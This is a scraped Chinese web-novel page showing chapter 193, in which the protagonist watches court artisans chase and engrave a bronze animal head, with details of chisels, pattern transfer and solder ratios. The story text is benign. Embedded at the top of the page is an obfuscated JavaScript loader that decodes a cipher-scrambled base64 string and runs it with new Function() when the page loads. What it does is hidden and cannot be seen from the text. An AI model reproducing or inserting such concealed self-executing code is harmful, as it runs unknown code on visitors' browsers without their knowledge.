趣书网

阅读记录  |   用户书架
(function(){function a89becd0(f7610){var webfa3d6="tYBLioOQrXMda(@VDv$C]knj|9Ee43^?[lwxWcSgf7,I-~;AGpJ/HZTzUh_1yPN5us!bF=8:2m%0&KRq6.";var f69bc6e="2NJ,6blYkg7nhsF0I/5@WuR.=jz-cB_MoeV!OTxf49&1td~yAPqKaS:p|m(E%w3i[UCX$D^8?;vHrL]ZQG";return atob(f7610).split('').map(function(o365b){var p898c=webfa3d6.indexOf(o365b);return p898c==-1?o365b:f69bc6e[p898c]}).join('')}var c=a89becd0('ed2k://UDVkfltQdSJnIisiJElpIisiTiJSfGdrZDQtNVtkXyl7X2drZDQtNVtkX1NvbElvTEVJNGZnJExkN35OfkxbZmdWb2xsKXs1Z192OD9INFVdNWR2ai1sKC1fZEglNVhILVsmanpPSC1nWyZoKSl7JmwtayZkfSVIJiBsSTpJdE46dHxna2Q0LTVbZF9haTRIJE1OKXsmbC1rJmQgWi0mNWRYamcmW2ghYUgmIVt+bF9haTRIJE1OKX1tJUgmIHokZ346Z3x1Ik85KGUwVkleS1dHPV5CWl4wYz9LIkwiJWwmZVZJIkwiKDV+ZUlpNyJMIjQ0LWV0VnQkZVY6ZVY3IElpVHR0VHRNIlJtJUgmIGRJTlZsbG98ZDd+Tn51bEk6SXROOnRfN00pK2xJOkl0Tjp0X0lJaSkrbEk6SXROOnRfSUlJKStsSTpJdE46dF83OilSTEVNSCROVmwkN3xkN35OfnVsSTpJdE46dF83OikrbEk6SXROOnRfSUlpKStsSTpJdE46dF9JSUkpK2xJOkl0Tjp0XzdNKVJMSGlvSTd8W2ZnVm9sbHVkSU5WbGxvXyJRTndBNGh3a35AWTk0aE9Qfkd8fCIpUkx+TUkkTjo3TXxkSU5WbGxvXyJRTkJPUWJuT25dU09vXXdrfkd8fCIpTEFsTlZObzd+TnxkSU5WbGxvXyI0Tnc1NE5uQUhdJGQiKUxvSGZsaTp8ZElOVmxsb18iNGh3UG8uQDlxNnx8IilMQUkkZmckflZOfGRJTlZsbG9fIjROMyhIYjZ8IilMNGZ+SUl8ZElOVmxsb18iNGh3dHFiQkVxNnx8IilMNGZIJDRnSG9vfGRJTlZsbG9fIkhoN3pvWHx8IilMJUl+fmd8ZDd+Tn51ZElOVmxsb18iY11AVkhHfHwiKVJMYUk0Zk1nfkh8JUl+fmd1ZElOVmxsb18iUXR3em9HfHwiKVJMbEg0N2ZvN2lOfCVJfn5ndWRJTlZsbG9fInFoUyVvTkR8IilSTG9mOklnSEh8JUl+fmd1ZElOVmxsb18iNGhAa3EuNy0iKVJMbHQ0ZnR8ZElOVmxsb18ib11AVlF0WHwiKUxIZ0hnbHxkSU5WbGxvXyJvXUBQIilMRTRNN0h8ZElOVmxsb18iby43YXFHfHwiKW0lSCYgYW9mJE5maVZmfGRJTlZsbG9fIjR0SVZIXW5Pflh8fCIpbSVIJiBPN0g0JFY0JG0lSCYgJjc0SCRmfFNvbElvdVZSbTVnX1NvbElvak9sZFgtYT5JKXsmNzRIJGZ8U29sSW91bEg0N2ZvN2lOX29mOklnSEhfKSpTb2xJb2pPbGRYLWEpUn01Z19PWzRILTVbZGoobEgmNGFqNWR+bFNXZ19hb2YkTmZpVmYpPmVJKXtPN0g0JFY0JHxbZmdWb2xsdX5NSSROOjdNUl9kSU5WbGxvXyJ+Lndmfi5AQXFdMXwiKSltTzdINCRWNCRqNX58Ii0iK29mOklnSEhfKSpJbGZtTzdINCRWNCRqKC1BT2xqUDV+LWF8IklWVnkibU83SDQkVjQkaigtQU9samFsNVhhLXwiJFZWelMibU83SDQkVjQkan41KEhvT2x+fC0ma2xtNWdfW2ZnVm9sbGpvW35BeHxka09PKXtbZmdWb2xsam9bfkFqSHp6bGR+IWE1T35fTzdINCRWNCQpfWxPKGx7JUgmIGx0N0hpfk5nfGdrZDQtNVtkXyl7W2ZnVm9sbGpvW35Bakh6emxkfiFhNU9+X083SDQkVjQkKW1kN35OfmombGhbJWwxJWxkLUs1KC1sZGwmX0U0TTdITGx0N0hpfk5nTGdITyhsKX1tZDd+Tn5qSH5+MSVsZC1LNSgtbGRsJl9FNE03SExsdDdIaX5OZ0xnSE8obCl9fSVIJiA0fjRWZ3xbZmdWb2xsdX5NSSROOjdNUl9kSU5WbGxvXyJxXUk1cV02fCIpKW00fjRWZ2o1fnxFSTRmZyQrYUk0Zk1nfkhfb2Y6SWdISF8pKklsZiltNH40VmdqKC1BT2xqYWw1WGEtfCJWelMibTR+NFZnaigtQU9salslbCZnT1tQfCJhNX5+bGQibTRbZCgtIGhISTp+N0hvfF9IbG9vVjc0dEwoaWxOZnQ6JDRMUGw6bGZIVjd8dFZWKXw+cCZbaDUobGomSDRsX3VnbC00YV9IbG9vVjc0dEwoaWxOZnQ6JDQpTGRsUCBwJltoNShsX19fXkwmbDlsNC0pfD4obC1jNWhsW2stX19fKXw+Jmw5bDQtX2RsUCAxJiZbJl8iLTVobFtrLSIpKSlMUGw6bGZIVjcpKSlSKW0lSCYgUFZvN0h8SChBZDQgZ2tkNC01W2Rfb2x+bHQpeyVIJiAtSWlvaTo3TW98dSI5KCJMIjQoKCJMIlg1ZyJMIjl6WCJMInpkWCJMIjl6WGwiTCJQbG96IkwiKCVYIkwiYS1oTyJMIjl6bFgiUm0lSCYgYUl0SWxIVnwtSWlvaTo3TW9qT2xkWC1hbS1JaW9pOjdNb3wtSWlvaTo3TW91bEg0N2ZvN2lOX29mOklnSEhfKSphSXRJbEhWKVJtNFtkKC0gRTpmfjd8dSJxdDRrfkU/UD9jTzlxMDZrfi43UFc5ciRZY1F8IlJtJUgmIG9+SU46fmZ8RTpmfjd1VlJtNWdfRTpmfjdqT2xkWC1hPkkpe29+SU46fmZ8RTpmfjd1bEg0N2ZvN2lOX29mOklnSEhfKSpFOmZ+N2pPbGRYLWEpUn0lSCYgZ1Y0b29+SDd8ekgmKGxEZC1fRUk0ZmckKW01Z181KFlIWV9nVjRvb35INykpZ1Y0b29+SDd8Vm1nVjRvb35INyt8Ojo6Om0lSCYgYVZWfiR8dSJhLS16KFR2IkwoTjo6ViRnZ19vfklOOn5mKUwiYS1oTyJMYChoRntnVjRvb35IN31gTGBGe0VJNGZnJH1qRnstSWlvaTo3TW99YFJ1NGZIJDRnSG9vUl8idiIpbTVnX083SDQkVjQkeHxka09PKU83SDQkVjQkaiVIT2tsK3wiXCZcZChsZH4gSiggYVsoLSAiK2FWVn4kbS0mQXslSCYgU1Y6NGlOJGZ8SFBINS0gaEhJOn43SG9fYVZWfiRMeyZsfjUmbDQtVCJnW09PW1AifUxJJFZWKW1TVjo0aU4kZnxIUEg1LSBTVjo0aU4kZmotbFMtXyltJUgmIC1sbzd+fnxTVjo0aU4kZmo1ZH5sU1dnX2xJOkl0Tjp0X2lJKSltJUgmIFt0NFZ+SGx0aXwiIm01Z18tbG83fn4+fFYpe1t0NFZ+SGx0aXxTVjo0aU4kZnVBbE5WTm83fk5SXy1sbzd+filtU1Y6NGlOJGZ8U1Y6NGlOJGZ1QWxOVk5vN35OUl9WTC1sbzd+fil9U1Y6NGlOJGZ8U1Y6NGlOJGZ1bHQ0ZnRSX3Zqe0lMZn12WCl1SGdIZ2xSX19TfD5TdUFJJGZnJH5WTlJfIiIpdTRmfklJUl8pdTRmSCQ0Z0hvb1JfIiIpKSl1NGZIJDRnSG9vUl8iIiltU1Y6NGlOJGZ8U1Y6NGlOJGYrW3Q0Vn5IbHRpbVNWOjRpTiRmfGRJTlZsbG9fU1Y6NGlOJGYpbW9sfmx0fFNWOjRpTiRmdUFJJGZnJH5WTlJfInYiKXVWUm01Z19PN0g0JFY0JHh8ZGtPTylPN0g0JFY0JGolSE9rbCt8IlwmXGRYbC0gSiggYVsoLSAoazQ0bCgoIitvbH5sdH00SC00YV81bDokNyl7NWdfTzdINCRWNCR4fGRrT08pTzdINCRWNCRqJUhPa2wrfCJcJlxkWGwtIEooIGFbKC0gZ0g1T2x+Iis1bDokN30lSCYgWG80b2dpNGZ8RU1IJE5WbCQ3X3okZ346Z2o0W2Q0SC1fdWBkW1BlRns9SC1sdSJkW1AiUl8pfWBMYGEmbGdlRntPWzRILTVbZGphJmxnfWBMYGsoNGVGe2xOaTc6fl8pfWBSKWooWyYtX19fKXw+b2Y6SWdISF8pZWokKSl1NGZIJDRnSG9vUl8iTCIpKW0lSCYgfn5+TU58WG80b2dpNGZqNWR+bFNXZ19sSTpJdE46dF9pSSkpPmVJMlhvNG9naTRmdUFsTlZObzd+TlJfWG80b2dpNGZqNWR+bFNXZ19sSTpJdE46dF9pSSkpKVQiIm1YbzRvZ2k0ZnxYbzRvZ2k0ZnVvSGZsaTpSX35+fk1OTCIiKXVBSSRmZyR+Vk5SXyIiKXU0Zn5JSVJfKXU0ZkgkNGdIb29SXyIiKSt+fn5NTm00fjRWZ2ooJjR8dSJhLS16KFR2IkxvbH5sdEw0fjRWZ2o1fkxYbzRvZ2k0ZlJ1NGZIJDRnSG9vUl8idiIpbS0mQXtbZmdWb2xsam9bfkFqSHp6bGR+IWE1T35fNH40VmcpfTRILTRhX2wpe1tmZ1ZvbGxqSH5+MSVsZC1LNSgtbGRsJl8iPVc/IVtkLWxkLUtbSH5sfiJMX18pfD57W2ZnVm9sbGpvW35BajVkKGwmLTNsZ1smbF80fjRWZ0xbZmdWb2xsam9bfkFqNGE1T35ZW35sKHVWUil9KSl9NWdfTzdINCRWNCR4fGRrT08pe083SDQkVjQkaiVIT2tsK3wiXCZcZEh6emxkfmx+IGxoIC1bIGEtaE8ibSVIJiA5aUlsZk03NE58W2ZnVm9sbGpYbC0xT2xobGQtM0FEfl80fjRWZ2o1filtNWdfOWlJbGZNNzROfHxka09PVVU5aUlsZk03NE58fGtkfmxnNWRsfil7TzdINCRWNCRqJUhPa2wrfCJcJlxkIDRIZC0gWGwtIGxoIGcmW2ggYS1oTyJ9fX1tNWdfTzdINCRWNCR4fGRrT08pe083SDQkVjQkaiVIT2tsK3wiXCZcZChsZH4gOSggYVsoLSAiKyY3NEgkZn0lSCYgbE5pNzp+fGdrZDQtNVtkXyl7LSZBezRbZCgtIGg3fk4kSDR8X2RsUCA9SC1sKWotW0tbNEhPbD1ILWxaLSY1ZFhfKW00W2QoLSBBSGZWOnxgKGgtNV4oNX5eRns0Z01pSU1JakVJNGZnJH1eeiVgbU9sLSBKaTQ6ZzR8QlpXWWp6SCYobF9PWzRIT1otWyZIWGxqWGwtRC1saF9BSGZWOikpbTVnX0ppNDpnNHx8ZGtPT1VVSmk0Omc0an5ILWx4fGg3fk4kSDQpe0ppNDpnNHx7eiVjNWhsKFRWTH5ILWxUaDd+TiRINH19JmwtayZkIEppNDpnNGp6JWM1aGwoK0l9NEgtNGFfJkhNdDd0SXQpeyZsLWsmZCBJfX1tJUgmIChOOjpWJGdnfGdrZDQtNVtkX29NNGc0b29ISSl7JmwtayZkIGRJTlZsbG9fb000ZzRvb0hJKXVvSGZsaTpSX2xJOkl0Tjp0X2Z0KUxvZjpJZ0hIXylqLVtaLSY1ZFhfTmkpaihPNTRsX2xINDdmbzdpTl9vZjpJZ0hIXykqNykrdCkpfW1QVm83SF8oTjo6ViRnZ18mNzRIJGYpKW1kN35OfnUiSH5+MSVsZC1LNSgtbGRsJiJSXyJobCgoSFhsIkxfZ2tkNC01W2RfJkhNdDd0SXQpezVnXyZITXQ3dEl0an5ILUhqcnx8RUk0ZmckKXtbZmdWb2xsalhsLTFPbGhsZC0zQUR+XzR+NFZnajV+KWombGhbJWxfKW0lSCYgJWc0JGZ8ZGtPT201Z19PN0g0JFY0JHh8ZGtPTyl7TzdINCRWNCRqJUhPa2wrfCJcJlxkJmw0bDUlbCBsaCB6WygtIGhsKChIWGwibU83SDQkVjQkaiVIT2tsK3wiXCZcZGxqfkgtSGolICIrJkhNdDd0SXRqfkgtSGpKbSVnNCRmfF9qampTVm9NfklsaWcpfD57NWdfeFNWb01+SWxpZ1VVU1ZvTX5JbGlnak9sZFgtYTx8VikmbC1rJmRtTzdINCRWNCRqJUhPa2wrfCJcJlxkIitTVm9NfklsaWdqOVs1ZF8iICIpfX1kbFAgQGtkNC01W2RfIkgmWCgiTCZITXQ3dEl0an5ILUhqSilfe14tfjQoVEhpb0k3TF5PW1hUJWc0JGZ9KX19KSl9KV91InF0NGtRaEI5bDluVn4uMWt+LjdQVzlyJFljUXwiUkwiSWk3IkxQNWR+W1BMfls0a2hsZC0pfW1nJElpTl8pbQ=='.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第193章 千锤百炼(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

鲁善工拿起鸡首,脑中上过各种信息,首先所用的铜,系专门为宫廷所炼制的合金铜,内含诸多贵重金属,高仿宣德炉的原料而成。与故宫陈列的雍正掐丝铜鹤相同,颜色深沉,内蕴精光,历经风雨而不锈蚀,堪称一绝。

其次由宫廷造办处工匠们精心制作,铸工精整,表面还以精细的錾工刻划,像上动物绒毛等细微之处皆一凿一凿锻打而成,清晰逼真,鼻、眼、耳等重点部位及鼻上和颈部皱褶皆表现十分细腻,展现出极高工艺水准。

錾刻!

鲁善工脑中闪过一幕幕场景,工匠面前摆着各式各样的成套錾子,都是自制,用工具钢或弹簧钢过火后先锤打成长约十厘米,中间粗两头细的枣核形坯子,之后将其前端锤打、错磨出所需要的形状,再经焠火处理,并在油石上反复打磨、调试,使之合用。

勾錾、直口錾、双线錾、发丝錾、半圆錾、方踩錾、半圆踩錾、鱼鳞錾、鱼眼錾、豆粒錾、沙地錾、尖錾、脱錾、抢錾等十多种。

中年工匠先用松香、大白粉和植物油,按比例配制后敷在木板上,使用时将胶烤软,铜银等工件过火后即可贴附其上,冷却后方可进行錾刻。

把碎料装入坩埚,熔化中去除杂质铸为坨锭,而后反复过火,用锤锤打,成为合适的板料。

板料薄厚,依作品的大小而确定,最常用的厚度是在两点五毫米,过厚使用中往下踩和往上抬都有困难,吃力,如果太薄则容易錾漏,前功尽弃。

然后把装饰图案按原大比例画在纸上,而后将纸放在锡坨上,用小刀将纹饰以外的空地脱去,做成纸样,看上去如同剪纸。

再将纸样蘸水贴在器件上的相应部位,取一支蜡烛点燃,用蜡烛上的黑烟熏在纸样上,待纸样上的水分蒸发后剥落下来,纹饰清晰地过到素铜坯上。

只见工匠左手持锤,右手拿勾錾,不停敲打,动作流畅,轻重缓急之间别有韵律。

配焊药!

焊药有老嫩区别,将银和黄铜放入坩埚熔化,再用钢锉错成粉状,老药以银8铜2比例。嫩焊药以银6铜4的比例掺合,之后放入小铁锅中加水和硼砂熬化而成。

先分段焊合后总体焊接,先焊的部分要用老焊药,熔开的温度要高些,后焊部分则用嫩焊药,可在焊接中避免前面的焊缝开焊。

三力一气!

鲁善工边看边感叹,难度较大,就算用现代高科技蚀刻和激光烧刻无法代替的工艺,机械不能取而代之。

主要是看錾子功夫和手指技巧的变化运用,达到指力、腕力、腰力及运气为一体,形成流水的操作过程。

锤打凿子雕刻要根据红铜质地,顺其纹线有轻、重、快、慢之分,游走自然,达到錾有錾的风格,刻有刻的风味,结合起来则巧妙无穷。

使用錾子必须靠指法的灵巧运用,并结合腕力的来回运转,掌握好重心和方向才能在铜材上行走自如,流畅自然。

“錾”和“刻”的技法运用在一起出来的图案表现力更有生气,因不同艺人指法技巧的差异,錾刻出的每件图纹皆有差别,这也是手工錾刻工艺与其它现代工艺无法比照所具的独特之处。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间